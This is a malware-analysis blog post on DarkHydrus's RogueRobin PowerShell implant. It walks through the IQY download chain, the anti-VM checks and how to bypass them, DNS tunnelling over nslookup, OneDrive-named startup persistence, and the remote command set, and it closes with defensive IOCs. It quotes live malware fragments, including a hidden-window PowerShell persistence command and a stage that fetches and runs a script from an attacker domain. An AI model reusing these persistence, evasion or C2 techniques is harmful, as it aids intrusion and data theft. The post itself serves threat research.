Post 0x15: DarkHydrus and their Powershell Malware

So you may remember I wrote a blog post about the MuddyWater APT group attacking Middle Eastern organizations using their custom Powershell malware (if you don’t, you can check it out here), and I analyzed the malicious VBA macros and the highly obfuscated powershell to figure out what it was capable of. Well, guess what – there is another group once again targeting Middle Eastern organizations using their custom Powershell malware, although this time the infection routine is different. This group has been named DarkHydrus by researchers in Unit 42 at Palo Alto Networks. The malicious samples in question were uploaded to VirusBay by Rony (@r0ny_123), so let’s analyze them.

MD5's:
    .iqy:        377cfd5b9aad2473d1659a5dbad01d90
    Downloader:  bd764192e951b5afd56870d2084bccfd
    Final Stage: 953a753dd4944c9a2b9876b090bf7c00

So based off of the article by Unit 42, DarkHydrus utilized spear phishing emails containing password protected .RAR files to infect their targets. The .RAR files contained a .IQY file (Excel Internet Query file) containing a URL. As Excel opens .IQY files by default, upon executing the .IQY, Excel will start and retrieve the content from said URL in the file – but only after a couple of warnings pop up. So let’s take a look at this Internet Query file.

iqy.png

So when the file is executed, whatever is contained in releasenotes.txt on that particular web server is obtained by Excel. Let’s perform a bit of dynamic analysis and execute the IQY file, to see what happens.

As you can see, upon executing the file, we receive a warning from Microsoft Excel saying that the file is possibly a security concern and in order to run the file, we need to click Enable. You would hope that someone seeing this message would think clicking Enable is a bad idea, but that is not always the case. So what happens after clicking Enable?

Execution

Not only do we get a security concern upon executing the file, Excel also warns us executing CMD.exe is also a bad idea. Maybe ignoring one warning is fine, but ignoring two? Hmm. Anyway, you’ll also notice that as soon as we click Yes on the second popup, CMD.exe is created, which spawns a Powershell.exe process – but it immediately exits. Interesting – maybe there is some form of anti analysis in play here? Lets check what is stored in releasenotes.txt.

So this command is stored in cell A0 and executed by Excel. It executes a powershell command that downloads a string from micrrosoft/winupdate.ps1 and executes it using IEX. So the Powershell command merely seems to be a second stager for the real payload.

Taking a look at winupdate.ps1, it is clear that the data is compressed and base64 encoded in the same way that this Emotet downloader was.

As it uses the same Powershell obfuscation technique, we can very simply decode and decompress the payload using the basic Python commands in the image above.

Skimming over the document, I noticed mentions of VBoxVirtualBox and Qemu, so I was right about the anti analysis. There also seems to be some form of DNS communication based off of the global variable queryTypes:

"A", "AAAA", "AC", "CNAME", "MX", "TXT", "SRV", "SOA";

Before analyzing the C2 protocol, I wanted to figure out the anti analysis methods used. Luckily, it was all stored in the first function: Sandbox().

Embedded within this malware, there are several anti analysis methods used. Firstly, the sample queries WMI to figure out the SMBIOSBIOSVersion, and if it matches VBOX, bochs, qemu, VirtualBox or VM. If the version matches any of those strings, the malware exits, after printing Virtual Machine Founded (if run in a prompt). If no matches were found, the sample checks the Manufacturer to see if it matches XEN. Once again, if it matches, Virtual Machine Founded is displayed and then the malware exits. Next, the total physical memory is queried. If the total physical memory is less than the hardcoded memory size limit (2900000000), the program exits. If the checks are all successful and everything matches up, the malware then checks the amount of Processor Cores in your system, to make sure there are more than 1. This is because when creating a virtual machine just for analysis, you don’t want to give it more than you need to, and as the default is 1, you might leave it as is. Furthermore, sandboxes used to only use 1 processor core. As the function name is Sandbox, that could be another reason. Finally, if your machine doesn’t show hints of being a VM or Sandbox, the malware checks the running processes for Wireshark and Sysinternals. If any match, the malware exits. So you might be wondering how to get around these checks. Well, it is quite easy.

As you can see, when we retrieve the Win32_Bios information using Powershell there are 2 obvious mentions of VirtualBox – first the SMBIOSBIOSVersion, and then the Version. As the malware checks the SMBIOSBIOSVersion, we should alter that. In order to do so, we can use a Managed Object Format (MOF) file, and parse it using mofcomp.exe. This will allow us to alter the values in the Win32_Bios, so when the malware retrieves it, there are no matches to VirtualBox.

mof_file.png

Simply copy the information in the image above to a .MOF file and save it to somewhere you can easily access, such as the Desktop. In order to change the information successfully, you require Admin Privileges, so run Powershell as an Administrator. Upon running mofcomp.exe, you should see a similar output that is shown in the image below.

Whilst it does add a lot of extra information, the manufacturer has been changed to Sony, and the SMBIOSBIOSVersion has been changed to Legit_PC. The Version was not changed in the MOF file, however it has been given what looks to be a GUID, rather than VBOX.

When we execute the same Powershell commands that are in the Sandbox function, you can see there are no matches, otherwise the string Virtual Machine Founded would have been displayed. So that is the first and second anti-anti analysis method (changing the manufacturer and Bios Version), now to get past the others.

$result = Get-WmiObject -Query "Select TotalPhysicalMemory from Win32_ComputerSystem" | Out-String
$result = [regex]::Match($result,"TotalPhysicalMemory : (\d+)")
$memory = $result.Groups[1].Value
if ([int64]$memory -lt [int64]$memorySizeLimit) {
    exit
}

In order to get past this anti analysis method, simply allocate more RAM to your Virtual Machine, making sure it is more than 2.9 Gigabytes. In addition, allocate at least 2 processor cores to your Virtual Machine, as the malware exits if there is only 1. Finally, make sure you don’t run Wireshark or Sysinternals when executing the malware, otherwise it will exit as well. Another option to Wireshark is WinDump – although I have not tested it out yet.

Now that we have figured out the anti analysis methods, it is time to analyse the communication method. From the looks of it, the function query() seems to be responsible for communicating with the C2 server. In addition, it is made clear that the attackers are using DNS to communicate, as nslookup.exe is being used with the URLs in the list. In order to figure out what the required arguments to query() mean, I checked for the first time query() is called – this is located in the function test():

foreach ($t in $Global:queryTypes) {
    if ($Global:id.Length -ge 1) {
        $response = query -query $Global:id -type $t -test $true -change_mode $false
    }
    else {
        $response = query -query $PID -type $t -test $true -change_mode $false
    }

This code is placed in a for loop, which runs a total of 8 times – this is based off of the number of query types stored in the queryTypes variable (A, AAAA, AC…). Therefore, $t is equal to the current query type. An if statement is used to check if the length of the global variable id is greater than or equal to 1. If so, the ID is passed as the first argument to the function. Otherwise, the program passes the current PID as the first argument. The second argument, $t, is the current query type. If the function is called in the first loop, $t is equal to ‘A’, if it is the second loop, $t is equal to ‘AAAA’ and so on. The third argument is used to inform query() that it is being executed to test connections. Finally, change_mode is used to indicate whether or not the DNS query communication method should be changed, using the roundRobin function. Before we examine that function, lets finish up the rest of query().

The variable $Parameters is filled based on the communication method, the domain, and the server used, as well as the ID, or the PID. Then, iex is used to call nslookup.exe, passing the variable $Parameters as the arguments. The program then checks the output of running the command to see if the connection was successful. To do this, it checks to see if canonical name, mx, nameserver, mailserver or address was present in the output. If matches are found, $check is set to True. Otherwise, $check is set to False, or the function returns the value cancel. If everything was successful, the function returns the output of nslookup, or false if it failed.

If the connection was successful and the return value does not equal False, and the length of the ID is less than 1, the malware sets whichever query type is stored in $t as the default communication query method to use. The malware then attempts to generate an ID, which is stored in the global variable id. If the first query type failed, the malware keeps looping until the final method has been tried. If the global id length is still less than 1, the program sleeps for the length of time passed in by the $waiting variable (originally 120), and then re-calls test(), however this time it multiplies the value in $waiting by 2. At the beginning, the test function checks to see if $waiting is greater than 7200. If it is, the program exits due to failing to connect to the C2 servers. This means the test function will loop roughly six times before giving up. So now we know that the test function is responsible for deciding which query type to use, lets check out the roundRobin function.

So it seems this particular function is responsible for the naming of the malware; RogueRobin. We can understand the arguments by basing it off of query(), where RoundRobin is being called with the list of domains as the first argument and the current domain, which is located at position 0 upon executing the program. Using these arguments, RoundRobin gets the $index at which $current is in the $list, and increments it by 1. If $index is greater than or equal to the size of the list, $index is set to 0. Finally, RoundRobin returns $list[$index], which is then stored in Global:domain. This function basically iterates over the hardcoded domains. However, it is also used to iterate over DNS query modes, if the variable $change_mode is True:

if ($change_mode) {
    $Global:mode = roundRobin -list $Global:queryTypes -current $Global:mode
}

Afterwards, I went back to the persistence mechanism, which is quite simple. First, the program checks if the global variable hasstartup is equal to 1, and if so, it begins the startup method. Otherwise, the program continues as per normal. First, you may recognize the data being written to the variable $command. I have removed the encoded and compressed data to make it easier to read, however it is an almost exact copy of the original payload – the only difference is the persistence mechanisms have been removed, in order to prevent several instances of the malware running at the same time upon startup. Once the data has been written to $command, a file is created in %APPDATA%\OneDrive.bat. This value is then written to it:

powershell.exe -WindowStyle Hidden -exec bypass -File "%APPDATA%\OneDrive.ps1"

After the one liner has been written to the .BAT file, the malware writes the data stored in $command to %APPDATA%\OneDrive.ps1. Finally, a .LNK file, OneDrive.lnk, is created in the Startup folder, containing a link to %APPDATA%\OneDrive.bat. The shortcut is then saved, and the program continues execution by checking to see what version of Windows is running. Based off of this, it seems that this is targeted towards Windows 7, as that is what the malware checks for.

Now we have figured out what the malware communicates over, how it establishes persistence and how it evades Sandboxes and Analysis, we need to figure out what the malware is capable of.

I noticed a function named myInfo(), which looked quite promising so I began to analyse it. myInfo() is responsible for gathering and formatting this information, to send to the C2 server:

Local IP Address
Current Domain
Username
Computer Name
User Privileges

This data is then formed into a long string, along with some global variables such as hasGarbage, hasstartup, hybdrid, sleep and jitter. Jitter seems to be responsible for the Sleep mechanism, and has a value of 20. Sleep is also used in working out the sleep time, and has a value of 3. HasStartup contains information regarding persistence, and hasGarbage determines whether or not random junk data should be added to any communications. Finally hybdrid indicates whether or not DNS query methods are changed using the RoundRobin function. The long string that is formed is returned, so whatever calls myInfo will use that data:

test
$ut8 = [System.Text.Encoding]::UTF8.GetBytes((myInfo))
$b64 = [System.Convert]::ToBase64String($ut8)
spliting -data $b64 -b64 $false -jobID '1' | Out-Null

Straight after the test function is called, the malware executes myInfo and then encodes the returned data into a Base64 string, which is passed to the function spliting. The data is then formatted by spliting and sent using query -query $queryData, where $queryData contains the formatted data, containing the information along with other data such as ID. After looking for other calls to spliting, it seems that this is the function responsible for calling query and sending out the gathered information or outputs of commands. Moreover, the function gettingJobs() queries the C2 server for commands.

Talking about commands, what commands are available in this particular malware? Well there is no obfuscation of the commands in this sample so it is quite easy to check, as there is a simple check to see if the retrieved command matches the hardcoded value. Here is a list of all commands available to the operators of RogueRobin:

$fileDownload
$importModule
$fileUpload
$screenshot
$command
slp:\d+
testmode
showconfig
slpx:\d+

As you can probably guess, the attacker is able to upload and download files to and from the system, screenshot, import modules and show the current configuration of the malware, but what are the others? slp:\d+ is responsible for setting the sleep timer interval between communicating with the C2 server, and slpx:\d+ is responsible for setting the sleep timer interval between sending DNS requests. testmode executes the function test, and will once again choose to communicate with the first web server to respond correctly. command allows the attacker to execute commands on the system using iex, and sends the output back to the attacker. Looking at these commands, it seems like the program is able to screenshot, however when we look at the actual code, this is what is there:

if ($command -match '^\$screenshot'){
    iex $command
    continue;

The script is basically trying to execute the command $screenshot, so I believe that in order to get the screenshot mechanism, the attackers have to use the importModule command, or fileUpload.

So now that the analysis has come to an end, if you weren’t able to follow along, here is a summary of how the malware functions. Once again, you can download all of these files off of VirusBay. If you have any questions, feel free to contact me, either here or on Twitter (@0verfl0w_)

Summary

  • Stage 1:
    • IQY file downloads second stage powershell command from hxxp://micrrosoft.net/releasenotes.txt
  • Stage 2
    •  Downloads final powershell script from http://micrrosoft.net/winupdate.ps1 and executes it
  • Stage 3
    • Final payload is compressed and encoded with Base64, so upon execution, the data is decompressed and decoded, and then executed using IEX
    • Sandbox function is called
      • Queries manufacturer, SMBIOSBIOSVersion, TotalPhysicalMemory, Processor Cores and examines running processes for Wireshark and SysInternals
    • If $Global:hasstartup == 1:
      • Store compressed and Base64 encoded powershell script in variable $command
      • Create .BAT file at %APPDATA%\OneDrive.bat and write the value ‘powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%\OneDrive.ps1”
      • Create .PS1 file at %APPDATA%\OneDrive.ps1 and write the contents of $command to the file
      • Create .LNK file named OneDrive.lnk in the Startup folder and point it to %APPDATA%\OneDrive.bat
    • Check if Operating System is Windows 7
    • Execute function test()
      • Loops over a list of DNS queries to see which receives the correct response from the C2 servers
      • This query is then used for the rest of the communication, unless the command testmode is issued by the attackers, in which case test() is run again and the first query that gets a valid response from the servers is used
      • test() uses the function query() in order to communicate to the C2 servers – query() utilizes nslookup.exe to send the information over DNS
    • Execute function myInfo()
      • Gathers system information to send back to the C2 server using the spliting() function, which encodes and formats the data before using query() to send the data using nslookup.exe
    • After gathering system information and sending it, the malware begins to listen for commands from the C2 server.
      • $fileDownload
      • $importModule
      • $fileUpload
      • $screenshot
      • $command
      • slp:\d+
      • testmode
      • showconfig
      • slpx:\d+
        • These commands allow for an attacker to execute arbitrary code on your machine, remotely
    • If the malware does not utilize persistence mechanisms, rebooting the machine will stop the malware from running – otherwise remove the files from the startup folder and the %APPDATA% folder to prevent execution of the malware upon reboot.

IOCs:

  • .IQY: 377cfd5b9aad2473d1659a5dbad01d90
  • Stage 2: bd764192e951b5afd56870d2084bccfd
  • Stage 3 (Obfuscated): 953a753dd4944c9a2b9876b090bf7c00
  • Persistent Payload (Obfuscated): e84022a40796374cdf1d4487dda43b7d
  • URLs used for downloading Stage 2 and 3:
    • Stage 2: hxxp://micrrosoft.net/releasenotes.txt
    • Stage 3: hxxp://micrrosoft.net/winupdate.ps1
  • C2 servers:
    • anyconnect[.]stream
    • bigip[.]stream
    • fortiweb[.]download
    • kaspersky[.]science
    • microtik[.]stream
    • owa365[.]bid
    • symanteclive[.]download
    • windowsdefender[.]win

Article Link: https://0ffset.wordpress.com/2018/08/03/post-0x15-darkhydrus/